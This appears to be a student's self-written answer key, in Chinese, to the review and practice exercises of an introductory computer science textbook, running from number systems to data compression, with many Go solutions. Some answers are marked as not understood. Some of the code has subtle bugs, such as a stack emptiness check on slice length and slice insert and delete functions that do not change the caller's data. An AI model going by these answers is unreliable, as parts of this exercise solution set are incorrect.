1111 0100；0110 1111；0111 0000；1000 1110。
0000 0000 0110 0110；0111 1111 0100 1101；1111 1100 0001 0110；1111 0010 0110 1000。
107；148；6；80。
119；-4；116；-50。
做一次补码运算。
1000 1001；0000 0100；1000 1100；0011 0010。没问题，确实会得到原数。
$2^0 * 1.1000 1$；$2^5 * 1.1111 11$；$2^0 * 1.0111 0011$；$2^0 * 1.0110 1000 0011 0011 000$。
1111 1111 1000 1000；0100 0001 0111 1110；0111 1011 0111 0011；1111 1010 0110 1000。
后面补 0 直到 64 位。1111 1111 1111 0001；0100 0000 0010 1111 11；0111 1111 0110 1110 011；1111 1111 0100 1101。
0100 0000 1110 011；1100 0001 0100 1010 01；0100 0001 0011 0110 1；1111 1101。
119；-124；116；-78。
0011 0101；1110 1011；1000 0101；0100 1101 0（最左边位溢出）。
0011 0101；1001 0100；1111 1010；1001 1010（溢出）。先补充够 8 位，再反码。0 的表示：10, 11, 00, 01 -> -1, -0, +0, +1。
119；-3；116；49。最左边位为 1 时，表示负数，先取反。
1000 1000；0000 0011；1000 1011；0011 0001。没问题，确实会得到原数。
1000 1001；0000 0100；1000 1100；0011 0010。
+499 到 +499；最左边位为 5-9 时，表示负数，0-4 时，表示正数；有；+0 用最小数表示，即全 0，-0 用最大数表示，即全 9。即：-499, -0, +0, +499 -> 500, 999, 000, 499。
234；560；874；888。用 999 减去得到。
-500 到 +499；最左边位为 5-9 时，表示负数，0-4 时，表示正数；不会；-500, -1, 0, +499 -> 500, 999, 000, 499。
234；560；875；889。
$-(16^n / 2 - 1)$ 到 $+(16^n / 2 - 1)$，即 -4095 到 +4095；正数不变，负数每位用 15 减去；会；+0 = 全 0，-0 = 全 15。
B14；FE1；FE5；E1D。
$-(16^n / 2)$ 到 $+(16^n / 2 - 1)$，即 -4096 到 +4095；反码后加 1；不会。
B14；FE1；FE6；E1E。

第 4 章数据运算

复习题：

算术运算涉及加减乘除；逻辑运算涉及与、或、非、异或。
超出的丢弃。
没理解题意，但搜出来的答案为：不可以，因为在 N 位分配单位中，最左边的数用来表示正负，当 N 等于 1 时不能表示任何数。其他答案：可以，这种情况下数据类型通常表示逻辑值。
超出位的数量。
增加较小的尾数，移位相应的尾数，直到两个数具有相同的指数。
一元运算只有一个操作数，二元运算有两个。
与、或、异或。
真值表定义了每一种输入的输出值。
取反。
都 1 为 1，其它为 0。
都 0 为 0，其它为 1。
相同为 0，不同为 1。
如果一个输入为 0，则不用检查对应位，就知道结果也是 0。
如果一个输入为 1，则不用检查对应位，就知道结果也是 1。
如果一个输入为 1，则不用检查对应位，就知道结果与另一个输入相反。
置位（设置为 1）：OR；掩码设置为 1。
复位（设置为 0）：AND；掩码设置为 0。
反转：XOR；掩码设置为 1。
逻辑移位不操作符号，算术移位根据原来的符号，来设置移位后的数的符号。

练习题：

十六进制表示：66；00；FF；FE。用 16 进制的最大位减去。
十六进制表示：99；00；99；FF。
十六进制表示：99；99；FF；FF。
十六进制表示：66；FF；33；99。
AND；0000 1111。
OR；0000 1111。
XOR；1100 0111。
AND；0001 1100。
右移 $\log_2 4 = 2$ 位。
左移 $\log_2 8 = 3$ 位。
从高位算起，假设为 0001 1000。1. 右移 3 位后，和 0000 0001 做 AND 运算；2. 再右移 1 位后，和 0000 0001 做 AND 运算。
42；-4；4；-42。记得填充 0。
1184；-862；862；-1184。
a、c、d 都会溢出。
能。超出 $-2^7$ 到 $+2^7 - 1$ 的，即 -128, 127 的为溢出。
十六进制表示：F0AE；E0D6；7FEE；20AE。结果相同。
42；-4；4；-42。转换成补码时，不涉及符号。
57.875；438.375；32.75；-467.8748。在二进制中对齐尾数。
b，如果能够存储正整数，那这个数肯定没溢出，再减小它的值就更不会溢出了，因为负整数本身也没溢出。
取决于用反码还是补码存储，可能可以取到相反数。
取决于用反码还是补码存储，可能可以取到相反数。

第 5 章计算机组成

复习题：

CPU、主存和 IO。
算术逻辑单元、控制单元和寄存器。
算术、移位和逻辑运算。
控制 CPU 其它部分的操作。
存储数据。
RAM：易失性；SRAM：速度快，昂贵；DRAM：速度慢，便宜；ROM：非易失性；PROM：可编程、只读；EPROM：可擦除、可编程、只读；EEPROM：电、可擦除、可编程、只读。
提高运算的速度。
控制器、读写头、磁盘。
磁盘：由一张张磁片堆叠而成，每张磁片都被划分成磁道，每个磁道又分成扇区；磁带：在宽的一边分为 9 个磁道，又在长的一边把每个磁道划分为能存储 1 位信息。垂直来看，9 个点用来存储 8 位信息，另一位用来错误检测。
CD-R：写一次，读多次；CD-RW：可重写；DVD：提高容量。
SCSI：并行、需要终结器；火线：串行、无需终结器；USB：串行、交换、扩展性强。
独立寻址：到 IO 设备读写的指令，不同于到内存读写的指令；存储器映射寻址：把 IO 设备控制器中的每个寄存器看做是内存中的一个字，所以指令相同。
程序控制：CPU 等待 IO 设备；中断控制：CPU 告知 IO 设备要传输，IO 设备准备好后，中断 CPU；DMA：用于在高速 IO 设备之间传输数据，而无需 CPU。
CISC：使用复杂指令集；RISC：使用简单指令集来模拟复杂指令。
控制单元同时执行两个或三个阶段。
拥有多个控制单元、多个算术逻辑单元和多个内存单元同时处理。

练习题：

$64 MB = 2^{26}$，$\log_2 4 = 2$，$2^{26} - 2^2 = 2^{24}$，24 位。因为是对每个字寻址，所以字长越小，地址越多，需要的表示位数就越多。
$24 * 80 * 1 = 1,920$。
设每个字有 16 位。分别为指令、内存单元地址、寄存器，指令有 16 种，即 $\log_2 16 = 4$ 位，内存占 8 位，寄存器占 4 位，共 16 位。
4 位。
16 位。
$\log_2 1024 = 10$ 位。
16 位。
10 位。
$\log_2 16 = 4$。
视指令有多少而定。
$10 * 1000 / 4 = 2500$ 个。

LOAD R0, M_FE
LOAD R1, M_FE
LOAD R2, M_FE
ADDI R3, R0, R1
ADDI R4, R2, R3
STORE M_FF, R4
HALT

LOAD R0, M_FE
INC R0
INC R0
INC R0
STORE M_FF, R0
HALT

LOAD R0, M_FE
DEC R0
DEC R0
STORE M_FF, R0
HALT

M_40: LOAD R0, M_FE
M_41: LOAD R1, M_FE
// R1 为全 0
ADDI R3, R1, R1
DEC R0
JUMP R1, M_41
STORE M_FF, R3
HALT

M_40: LOAD R0, M_FE
M_41: LOAD R1, M_FE
M_42: JUMP R2, M_45
M_43: INC R1
M_44: INC R1
M_45: DEC R1
STORE M_FF, R1
HALT

第 6 章计算机网络和因特网

复习题：

保证每一个协议都可以进行两个对立且方向相反的工作。
分段。
消息；数据报；帧。
b。
c。
b。
名称（HTTP）；逻辑地址（IP）；链路层地址（MAC）。
FTP 分为客户端和服务器，可能是服务器没启动。
因为没有提供服务。
UDP。
分层原则；有利于替换。
网络层：主机到主机；数据链路层：节点到节点。
数字和模拟信号之间的互相转换；没看到。
蓝牙是一个临时网络，规模较小。
周期 = 1/频率。
频率。
是当我们没有专用通道时的唯一选择。
物理层。
导向介质；非导向介质。
双绞线、同轴电缆、光纤电缆。

练习题：

发送、接收。
加密、解密。
$5 * (1 + 20%)^{10} = 30.96$ 亿台。
5 * 10 + 100 = 150，100 / 150 = 0.67，该系统的效率只有原来的百分之 67。
abc。
abc。
行李检查/认领；登机/出机；起飞/降落。
物理层、数据链路层。
位数越多，能表示的对象也越多。
0110 1110 0000 1011 0000 0101 0101 1000；0000 1100 0100 1010 0001 0000 0001 0010；1100 1001 0001 1000 0010 1100 0010 0000。
94.88.117.21；137.142.208.49；87.132.55.15。
5A115518AA0F。
10 / 1000 = 0.01s；8 / 1000 = 0.008s；100000 * 8 / 1000 = 800s。

第 7 章操作系统

复习题：

应用程序使用操作系统提供的接口来操作计算机硬件。
命令解释程序、存储管理、进程管理、设备管理、文件管理。
单道程序：整个内存只装进一个程序；多道程序：内存装进多个程序，CPU 轮流服务。
分区调度下，程序在内存中不必是连续地，也可以提前载入。
不需要全部载入内存，也可以运行，更加灵活。
每个作业都是程序，而程序未必是作业；每个进程都是作业，而作业未必是进程。进程是运行中的程序。
磁盘；磁盘或内存；内存。
作业调度器：从作业中创建进程和终止进程；进程调度器：将进程从一个状态转入另一个状态。
使得进程管理器可以用多种策略从队列中选择下一个作业或进程。
死锁：没有对资源进行限制；饿死：对资源有太多限制。

练习题：

64 - 4 = 60 MB。
64 - 4 - 10 = 50 MB。
70 / (10 + 70) = 87.5%。
共 55 MB，60 - 55 = 5 MB，5 / 60 = 8%。
共 40 MB，60 - 40 = 20 MB，20 / 60 = 33%。
4；3；7；1；4 MB；4 / 60 = 6%。
100 MB + 1 GB = 1100 MB，1100 / 10 = 110；100 / 10 = 10；100。
运行；就绪；等待；等待；等待。
是。
不是，A 释放 File1 给 B，B 释放 File2 给 C。

第 8 章算法

复习题：

一组明确步骤的有序集合，它产生结果并在有限的时间内终止。
顺序、判断、循环。
UML 是算法的图形化表示。
伪代码是算法类似英语的表示。
根据数据值的大小进行排序。
选择、冒泡、插入。
在一组对象中找到目标位置的过程。
顺序查找、二分查找。
迭代：算法的定义不涉及算法本身。
递归：算法的定义涉及算法本身。

练习题：

20, 22, 102, 183, 228, 229, 232, 313.
2, 24, 192, 2112, 21120, 105600, 2112000.
18, 18, 18, 20, 20, 32, 32.
18, 3, 3, 3, 3, 1, 1.

2, 7, 23, 31, 40, 56, 78, 9, 14.
2, 7, 23, 31, 40, 56, 78, 9, 14.
2, 7, 9, 31, 40, 56, 78, 23, 14.
...

14, 7, 23, 31, 40, 56, 78, 2, 9.
...

...
2, 7, 9, 23, 31, 40, 56, 78.

7, 8, 13, 23, 26, 44, 98, 57.
7, 8, 14, 23, 26, 44, 57, 98.
3, 7, 13, 26, 44, 23, 98, 57.

first、mid 和 last 的值分别是：
1, 4, 8.
5, 6, 8.
7, 7, 8.

first、mid 和 last 的值分别是：
1, 3, 6.
1, 1, 2.
2, 2, 2.

4 != 11、21 != 11、36 != 11、14 != 11 等

first、mid 和 last 的值分别是：
1, 6, 12.
1, 3, 5.
4, 4, 5.
5, 5, 5.

1, 2, 6, 24, 120, 720.
1, 2, 6, 24, 120, 720.

func gcd(x, y int) int {
	if y == 0 {
		return x
	}
	return gcd(y, x%y)
}

func Test_gcd(t *testing.T) {
	tests := []struct {
		x    int
		y    int
		want int
	}{
		{7, 41, 1},
		{12, 100, 4},
		{80, 4, 4},
		{17, 29, 1},
	}

	for i, tt := range tests {
		if got := gcd(tt.x, tt.y); got != tt.want {
			t.Errorf("%v. got %v, want %v", i, got, tt.want)
		}
	}
}

1；4；4；1。

func C(n, k int) int {
	if k == 0 || n == k {
		return 1
	}
	if n > k && k > 0 {
		return C(n-1, k) + C(n-1, k-1)
	}
	// 其它场景，如：n < 0 || k < 0 || n < k
	// 不符合组合的定义，直接返回 -1
	return -1
}

func Test_C(t *testing.T) {
	tests := []struct {
		n    int
		k    int
		want int
	}{
		{10, 3, 120},
		{5, 5, 1},
		{2, 7, -1},
		{4, 3, 4},
	}

	for i, tt := range tests {
		if got := C(tt.n, tt.k); got != tt.want {
			t.Errorf("%v. got %v, want %v", i, got, tt.want)
		}
	}
}

120；1；错误，返回 -1；4

func Fib(n int) int {
	if n == 0 {
		return 0
	}
	if n == 1 {
		return 1
	}
	return Fib(n-1) + Fib(n-2)
}

func Test_Fib(t *testing.T) {
	tests := []struct {
		n    int
		want int
	}{
		{2, 1},
		{3, 2},
		{4, 3},
		{5, 5},
	}

	for i, tt := range tests {
		if got := Fib(tt.n); got != tt.want {
			t.Errorf("%v. got %v, want %v", i, got, tt.want)
		}
	}
}

1；2；3；5。
因为该算法的 UML 图比较简单，所以略过。
因为该算法的 UML 图比较简单，所以略过。
因为该算法的 UML 图比较简单，所以略过。
因为该算法的 UML 图比较简单，所以略过。
因为该算法的 UML 图比较简单，所以略过。

func sum(nums []int) int {
	result := 0
	for _, v := range nums {
		result += v
	}
	return result
}

func product(nums []int) int {
	result := 1
	for _, v := range nums {
		result *= v
	}
	return result
}

func SelectionSort(nums []int) {
	for i := 0; i < len(nums)-1; i++ {
		minIndex := i
		for j := i + 1; j < len(nums); j++ {
			if nums[j] < nums[minIndex] {
				minIndex = j
			}
		}
		nums[i], nums[minIndex] = nums[minIndex], nums[i]
	}
}

func SelectionSortWithMin(nums []int) {
	for i := 0; i < len(nums)-1; i++ {
		minIndex := min(nums, i)
		nums[i], nums[minIndex] = nums[minIndex], nums[i]
	}
}

func min(nums []int, startIndex int) int {
	minIndex := startIndex
	for j := startIndex + 1; j < len(nums); j++ {
		if nums[j] < nums[minIndex] {
			minIndex = j
		}
	}
	return minIndex
}

func BubbleSort(nums []int) {
	for i := 0; i < len(nums)-1; i++ {
		changed := false
		for j := 0; j < len(nums)-i-1; j++ {
			if nums[j] > nums[j+1] {
				nums[j], nums[j+1] = nums[j+1], nums[j]
				changed = true
			}
		}
		if !changed {
			break
		}
	}
}

抽出上面的内循环即可。

func InsertionSort(nums []int) {
	for i := 1; i < len(nums); i++ {
		for j := i; j > 0; j-- {
			if nums[j-1] > nums[j] {
				nums[j-1], nums[j] = nums[j], nums[j-1]
			}
		}
	}
}

抽出上面的内循环即可。

func SequenceSearch(elements []int, key int) int {
	for i, v := range elements {
		if key == v {
			return i
		}
	}
	return -1
}

func BinarySearch(elements []int, key int) int {
	lo := 0
	hi := len(elements) - 1
	for lo <= hi {
		mid := lo + (hi-lo)>>1
		if key > elements[mid] {
			lo = mid + 1
		} else if key < elements[mid] {
			hi = mid - 1
		} else if key == elements[mid] {
			return mid
		}
	}
	return lo
}

因为该算法的 UML 图比较简单，所以略过。

func Pow(x float64, n int) float64 {
	if n < 0 {
		return 1.0 / pow(x, -n)
	}

	return pow(x, n)
}

func pow(x float64, n int) float64 {
	if x == 0 {
		return 0
	}

	if n == 0 {
		return 1
	}

	res := pow(x, n>>1)
	if n&1 == 0 {
		return res * res
	}

	return res * res * x
}

第 9 章程序设计语言

复习题：

汇编语言是机器语言的一种可读表示。
高级语言和汇编语言一样，都需要转化为机器语言。
机器语言。
编译：编译器将整个源程序翻译成目标程序；解释：一行一行地解释源程序，并执行。
词法分析、语法分析、语义分析、代码生成。
过程式、面向对象、函数式、声明式。
过程式：把程序看成是操纵被动对象的主动主体；面向对象：处理活动对象，而不是被动对象。
方法是类的动作，对象是类的实体。
程序被看成是一个数学函数。
依据逻辑推理的原则响应查询。

练习题：

int a, b, c;

double a = 1.0, b = 1.0, c = 1.0;

char a;
int b;
double c;

因为常量不可改变，所以如果不在声明时赋值，之后就不能赋值了。
2 次。
无数次。
8 次。
5 次。

int A = 3;
do {
  statement;
  A = A + 2;
} while(A < 8);

int i = 4;
do {
  statement;
  i++;
} while(i < 20);

int i = 5;
while (i < 20) {
  statement;
  i++;
}

for (int A = 6; A < 10; A++) {
  statement;
}

for (int A = 5; A < 8; A = A + 2) {
  statement;
}

int i = 2;
while (i < 1) {
  statement;
  i++;
}

int i = 4;
do {
  statement;
  i++;
} while(i > 100);

for (int A = 5; A < 1; A = A + 2) {
  statement;
}

int i = 2;
while (i < 1) {
  statement;
  i++;
}

int i = 4;
do {
  statement;
  i++;
} while(i > 100);

for (int A = 5; A < 1; A = A + 2) {
  statement;
}

12；4；5。
Hello；"Hello"。

switch (A) {
  case 4:
    statement1;
    break;
  case 6:
    statement2;
    break;
  case 8:
    statement3;
    break;
}

A、B 传值；S、P 传引用。
A、B 传值；S 传引用。
传引用。
传引用。
传值。

第 10 章软件工程

复习题：

软件生命周期是软件工程中的基本概念，是一个重复阶段的周期。
瀑布模型一次性设计和编写程序，增量模型一次分一些模块来设计和编写程序。
分析、设计、实现和测试。
输入规格说明文档，说明了要做什么。面向过程分析和面向对象分析。
定义了系统如何完成在分析阶段所定义的。面向过程中，分解成过程；面向对象中，分解成类和方法。
模块化是将大程序分解成能理解和容易处理的小程序。耦合和内聚。
耦合描述模块间，内聚描述模块里面。
编写代码；可操作性、可维护性和可迁移性。
发现错误；白盒测试和黑盒测试。
白盒测试基于知道软件的内部结构，黑盒测试反之。

练习题：

方便修改。
传值。
传引用。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
画图，略过。
相当于从 1000 里面取 3 项组合，为 166,167,000。
三个数的最小、最大值。
乘上一个系数 1000，再加上 1000。

第 11 章数据结构

复习题：

数组、记录和链表。
数组可以被看成是记录数组的一种特例，其中每个元素是只带一个域的记录。
数组在内存中是紧密相邻的，链表不是。
数组元素可以通过索引来计算出地址。
紧密相邻的。
域是具有含义的最小命名记录。
一个包含数据，另一个包含指针。
指向另外节点的地址。
头节点的后的第一个节点。
指向空。

练习题：

func equal(a, b []int) bool {
	for i := range a {
		if a[i] != b[i] {
			return false
		}
	}
	return true
}

func reverse(nums []int) {
	for i, j := 0, len(nums)-1; i < j; i, j = i+1, j-1 {
		nums[i], nums[j] = nums[j], nums[i]
	}
}

const R = 2
const C = 2

func printTwoDimensionalArray(array [R][C]int) {
	for i := 0; i < R; i++ {
		for j := 0; j < C; j++ {
			fmt.Println(array[i][j])
		}
	}
}

func SequenceSearch(elements []int, key int) int {
	for i, v := range elements {
		if key == v {
			return i
		}
	}
	return -1
}

func BinarySearch(elements []int, key int) int {
	lo := 0
	hi := len(elements) - 1
	for lo <= hi {
		mid := lo + (hi-lo)>>1
		if key > elements[mid] {
			lo = mid + 1
		} else if key < elements[mid] {
			hi = mid - 1
		} else if key == elements[mid] {
			return mid
		}
	}
	return lo
}

func insert(elements []int, key int) {
	index := BinarySearch(elements, key)
	elements = append(elements[:index], append([]int{key}, elements[index:]...)...)
}

func deleteKey(elements []int, key int) {
	index := BinarySearch(elements, key)
	elements = append(elements[:index], elements[index+1:]...)
}

func productConst(arr []int, c int) {
	for i := range arr {
		arr[i] = c * arr[i]
	}
}

type Fractional struct {
	Nume int
	Deno int
}

func (f Fractional) String() string {
	return fmt.Sprintf("%v/%v", f.Nume, f.Deno)
}

func NewFractional(Nume, Deno int) Fractional {
	return Fractional{Nume, Deno}
}

func (f *Fractional) broad(lcm int) {
	f.Nume = f.Nume * (lcm / f.Deno)
	f.Deno = lcm
}

func (f *Fractional) offset() {
	lcm := gcd(f.Nume, f.Deno)
	f.Nume /= lcm
	f.Deno /= lcm
}

func gcd(x, y int) int {
	if y == 0 {
		return x
	}
	return gcd(y, x%y)
}

func lcm(x, y int) int {
	return x * y / gcd(x, y)
}

func (f1 *Fractional) Add(f2 Fractional) {
	lcm := lcm(f1.Deno, f2.Deno)
	f1.broad(lcm)
	f2.broad(lcm)
	f1.Nume += f2.Nume
	f1.offset()
}

func (f1 *Fractional) Sub(f2 Fractional) {
	lcm := lcm(f1.Deno, f2.Deno)
	f1.broad(lcm)
	f2.broad(lcm)
	f1.Nume -= f2.Nume
	f1.offset()
}

func (f1 *Fractional) Mul(f2 Fractional) {
	f1.Deno *= f2.Deno
	f1.Nume *= f2.Nume
	f1.offset()
}

func (f1 *Fractional) Div(f2 Fractional) {
	f1.Mul(NewFractional(f2.Deno, f2.Nume))
	f1.offset()
}

画图省略，数据结构是这样的：

type Data struct {
	flag  string
	name  string
	score int64
}

type Node struct {
	data *Data
	next *Node
}

直接把头节点指向空。
直接构造一个节点，然后让头节点指向新构造的节点。
不断构造节点，然后不断把最后一个节点指向新构造的节点。
遍历链表，然后计算。
当前指针往后移一步。
当前指针和前一位指针都往后移一步。

第 12 章抽象数据类型

复习题：

抽象数据类型就是对该数据类型有意义的操作封装在一起的数据类型。操作是已知的，数据结构是未知的。
添加和删除只能在栈顶进行。键栈、入栈、出栈、空。
只能在头部删除，尾部插入。建队列、入列、出列、空。
插入和删除操作可以在任何地方进行的列表。建表、插入、删除、检索、遍历、空。
树有一个父节点，多个子节点；二叉树只有两个子节点；二叉搜索树的节点是有序的。
深度优先遍历还细分了前序、中序、后序三种遍历，广度优先没有。
图是由一组顶点和一组边构成的一种抽象数据类型；有向图有方向。
栈：函数栈；队列：消息队列。
元素被随机存取或顺序存取的情况。
赫夫曼编码；搜索。

练习题：

func Test1(t *testing.T) {
	S2 := New()
	for !S2.Empty() {
		_, _ = S2.Pop()
	}
}

func Test2(t *testing.T) {
	S1 := New()
	S2 := New()
	for !S1.Empty() {
		v, _ := S1.Pop()
		S2.Push(v)
	}
}

func Test3(t *testing.T) {
	S1 := New()
	S2 := New()
	var elements []interface{}
	for !S1.Empty() {
		v, _ := S1.Pop()
		elements = append(elements, v)
	}

	for i := len(elements) - 1; i >= 0; i-- {
		S1.Push(elements[i])
		S2.Push(elements[i])
	}
}

func Test4(t *testing.T) {
	S1 := New()
	S2 := New()
	var elements []interface{}
	for !S2.Empty() {
		v, _ := S2.Pop()
		elements = append(elements, v)
	}

	for i := len(elements) - 1; i >= 0; i-- {
		S1.Push(elements[i])
	}
}

栈的内容为：5、6，x 为 2，y 为 3。

func IsPalindrome(s []byte) bool {
	stack := New()
	for _, c := range s {
		stack.Push(c)
	}

	for i := len(s) - 1; i >= 0; i-- {
		v, _ := stack.Pop()
		c := v.(byte)
		if c != s[i] {
			return false
		}
	}
	return true
}

func EqualStack(s1, s2 stack) bool {
	for !s1.Empty() && !s2.Empty() {
		v1, _ := s1.Pop()
		v2, _ := s2.Pop()
		if v1 != v2 {
			return false
		}
	}
	return true
}

func Test8(t *testing.T) {
	Q := New()
	for !Q.Empty() {
		_, _ = Q.Dequeue()
	}
}

func Test9(t *testing.T) {
	Q1 := New()
	Q2 := New()
	for !Q1.Empty() {
		v, _ := Q1.Dequeue()
		Q2.Enqueue(v)
	}
}

func Test10(t *testing.T) {
	Q1 := New()
	Q2 := New()
	var elements []interface{}
	for !Q1.Empty() {
		v, _ := Q1.Dequeue()
		elements = append(elements, v)
	}

	for _, v := range elements {
		Q1.Enqueue(v)
		Q2.Enqueue(v)
	}
}

func Test11(t *testing.T) {
	Q1 := New()
	Q2 := New()
	for !Q2.Empty() {
		v, _ := Q2.Dequeue()
		Q1.Enqueue(v)
	}
}

func EqualQueue(q1, q2 *queue) bool {
	for !q1.Empty() && !q2.Empty() {
		v1, _ := q1.Dequeue()
		v2, _ := q2.Dequeue()
		if v1 != v2 {
			return false
		}
	}
	return true
}

G；I；D。
J(C(B(A), D(E, F)), I(E(G, H)))。
A(C(E(F)), B(D(H, G)))。
不能，后序遍历中的 F 没有在中序遍历 D 的左边。不符合定义。

type stack struct {
	cap      int
	top      int
	elements []interface{}
}

func (s stack) Cap() int {
	return s.cap
}

// New creates a stack by cap.
func New(cap int) *stack {
	s := new(stack)
	s.cap = cap
	s.top = -1
	s.elements = make([]interface{}, s.cap)
	return s
}

// Push inserts v in the stack.
func (s *stack) Push(v interface{}) error {
	if s.top+1 >= s.cap {
		return errors.New("stack is full")
	}

	s.top++
	s.elements[s.top] = v
	return nil
}

// Pop deletes the element from the stack and return it.
func (s *stack) Pop() (interface{}, error) {
	if s.top < 0 {
		return nil, errors.New("stack is empty")
	}

	v := s.elements[s.top]
	s.elements[s.top] = nil
	s.top--
	return v, nil
}

func (s *stack) Empty() bool {
	return len(s.elements) == 0
}

type stack struct {
	top *node
}

type node struct {
	value interface{}
	next  *node
}

// New creates a stack.
func New() *stack {
	s := new(stack)
	return s
}

// Push inserts v in the stack.
func (s *stack) Push(v interface{}) {
	n := new(node)
	n.value = v
	n.next = nil

	// empty stack wouldn't execute this
	if s.top != nil {
		n.next = s.top
	}
	s.top = n
}

// Pop deletes the element from the stack and return it.
func (s *stack) Pop() (interface{}, error) {
	if s.top == nil {
		return nil, errors.New("stack is empty")
	}

	v := s.top.value
	s.top = s.top.next
	return v, nil
}

func (s *stack) Empty() bool {
	return s.top == nil
}

type queue struct {
	cap      int
	len      int
	front    int
	rear     int
	elements []interface{}
}

func (q queue) Cap() int {
	return q.cap
}

func (q queue) Len() int {
	return q.len
}

// New creates a queue by cap.
func New(cap int) *queue {
	q := new(queue)
	q.cap = cap
	q.len = 0
	q.front = 0
	q.rear = 0
	q.elements = make([]interface{}, q.cap)
	return q
}

// Enqueue inserts v in the queue.
func (q *queue) Enqueue(v interface{}) error {
	if q.rear == q.cap && q.front == 0 {
		return errors.New("queue is full")
	}

	// rearrange array
	if q.rear == q.cap && q.front != 0 {
		n := q.rear - q.front
		for i := 0; i < n; i++ {
			q.elements[i] = q.elements[q.cap-n+i]
			q.elements[q.cap-n+i] = nil
		}
		q.front = 0
		q.rear = n
	}
	q.elements[q.rear] = v
	q.rear++
	q.len++
	return nil
}

// Dequeue deletes v in the queue and return it.
func (q *queue) Dequeue() (interface{}, error) {
	if q.front == q.rear {
		return nil, errors.New("queue is empty")
	}

	v := q.elements[q.front]
	q.elements[q.front] = nil
	q.front++
	q.len--
	return v, nil
}

func (q *queue) Empty() bool {
	return q.Len() == 0
}

type node struct {
	value interface{}
	next  *node
}

type queue struct {
	len   int
	front *node
	rear  *node
}

func (q queue) Len() int {
	return q.len
}

// New creates a queue.
func New() *queue {
	q := new(queue)
	q.len = 0
	q.front = new(node)
	q.front.next = nil
	q.front.value = nil
	q.rear = q.front
	return q
}

// Enqueue inserts v in the queue.
func (q *queue) Enqueue(v interface{}) {
	q.rear.value = v

	n := new(node)
	n.value = nil
	n.next = nil

	q.rear.next = n
	q.rear = n
	q.len++
}

// Dequeue deletes v in the queue and return it.
func (q *queue) Dequeue() (interface{}, error) {
	if q.front == q.rear {
		return nil, errors.New("queue is empty")
	}

	v := q.front.value
	q.front.value = nil

	next := q.front.next
	q.front.next = nil
	q.front = next

	q.len--
	return v, nil
}

func (q *queue) Empty() bool {
	return q.Len() == 0
}

func insert(elements []int, key int) {
	index := BinarySearch(elements, key)
	elements = append(elements[:index], append([]int{key}, elements[index:]...)...)
}

func deleteKey(elements []int, key int) {
	index := BinarySearch(elements, key)
	elements = append(elements[:index], elements[index+1:]...)
}

type node struct {
	value interface{}
	next  *node
	list  *list
}

type list struct {
	head *node
}

// New creates a list.
func New() *list {
	l := new(list)
	l.head = new(node)
	l.head.value = nil
	l.head.next = nil
	l.head.list = l
	return l
}

// NewNode creates a node by v.
func NewNode(v interface{}) *node {
	n := new(node)
	n.value = v
	n.next = nil
	n.list = nil
	return n
}

// Value returns the node value.
func (n node) Value() interface{} {
	return n.value
}

// Next returns node the next node.
func (n node) Next() *node {
	return n.next
}

// List returns the list belong to node.
func (n node) List() *list {
	return n.list
}

// Head returns the head node belong to the list.
func (l list) Head() *node {
	return l.head
}

// Insert insert n after mark.
func (l *list) Insert(n *node) error {
	cur := l.head
	for cur.next != nil {
		prev := cur
		cur = cur.next
		if cur.value.(int) >= n.value.(int) {
			prev.next = n
			n.next = cur
		}

	}
	return nil
}

// Delete deletes n from list.
func (l *list) Delete(n *node) error {
	if n.list != l {
		return errors.New("node not in the list")
	}

	if n == l.head {
		return errors.New("can't delete head node")
	}

	pre := l.head
	for pre.next != n {
		pre = pre.next
	}

	pre.next = n.next

	n.value = nil
	n.next = nil
	n.list = nil
	n = nil

	return nil
}

// Show returns list friendly express.
func (l list) Show() string {
	format := ""
	cur := l.head
	for cur.next != nil {
		cur = cur.next
		format += fmt.Sprintf("%v", cur.value)
		if cur.next != nil {
			format += fmt.Sprint("->")
		}
	}
	return format
}

第 13 章文件结构

复习题：

顺序、随机。
当文件被更新时，主文件将从脱机存储器中检索返回，成为旧主文件。
包含将要对主文件作的改变。
索引和散列。
索引直接对应文件。
键就是地址。
键被文件的大小除，得到的余数加上 1 就是地址。
选择的数字是从键中被析取出来的，用作地址。
开放寻址、链表、桶散列。
文本文件是字符的文件，二进制文件是使用计算机内部格式存储的数据集合。

练习题：

未理解题意。
先对数据文件创建地址，由上到下，由左到右。然后排序键值，写入对应的地址。

077654, 004
093245, 003
114237, 001
123453, 000
156732, 002
256743, 005
423458, 006

05；14；02；07。
16；62；95；40。
36；69；62；47。
41+22+43=106；21+57+11=89；31+49+41=121；51+32+31=114。
3；2；3+1=4；405。
冲突键用链表记录。
画图，省略。
未理解哨兵在这个算法中的作用。
画图，省略。
未理解基于事务文件更新顺序文件的过程。
画图，省略。

func merge(a, b []int) []int {
	var result []int
	i, j := 0, 0
	for i < len(a) && j < len(b) {
		if a[i] < b[j] {
			result = append(result, a[i])
			i++
		} else {
			result = append(result, b[j])
			j++
		}
	}
	result = append(result, a[i:]...)
	result = append(result, b[j:]...)
	return result
}

画图，省略。
未理解基于事务文件更新顺序文件的过程。

第 14 章数据库

复习题：

硬件、软件、数据、用户、规程。
层次模型、网状模型和关系模型。关系模型。
关系就是一张二维表，用来组织数据。
属性即关系中的列，元祖即关系中的行。
插入、删除、更新、选择、投影。
连接、并、交、差。
SQL 即结构化查询语言，XML 即可扩展标记语言。SQL、XML。

练习题：

2, 16, 102。
2, 16。

24。
C1 = 37。
SELECT No, Unit FROM Courses;
SELECT ID, Name FROM Students;
SELECT Name FROM Professors;
SELECT Name FROM Depts;
SELECT Courses FROM Students WHERE ID = 2010;
SELECT Courses FROM Professors WHERE Name = "Blake";
SELECT * FROM Courses WHERE Unit = 3;
SELECT Name FROM Students WHERE Courses = "CIS015";
SELECT No FROM Depts WHERE Name = "CS";
不符合，把多个值的铺平即可。
画图，省略。
画图，省略。
画图，省略。
传递依赖。
在 3 NF基础上，消除主属性对候选码的部分函数依赖和传递函数依赖。

第 15 章数据压缩

复习题：

无损压缩和有损压缩。
无损压缩：所有信息都可恢复；有损压缩：部分信息丢失。
重复出现的符号，被重复数字和符号替换。
构造字典，传输时字典索引。
对于出现更为频繁的字符分配较短的编码，而对于出现较少的字符分配较长的编码。
实际数据通过字典来取出真正的值。
LZ 编码更简单、解压速度更快。
JPEG、MPEG、MP3。
JPEG 对应图像，MPEG 对应视频。
MPEG 即有多个帧的 JPEG。
将图像划分成块的目的是考虑到减少计算量。
离散余弦变换改变了 64 个值以使相邻像素之间的关系得以保持，但同时又能够揭示冗余。
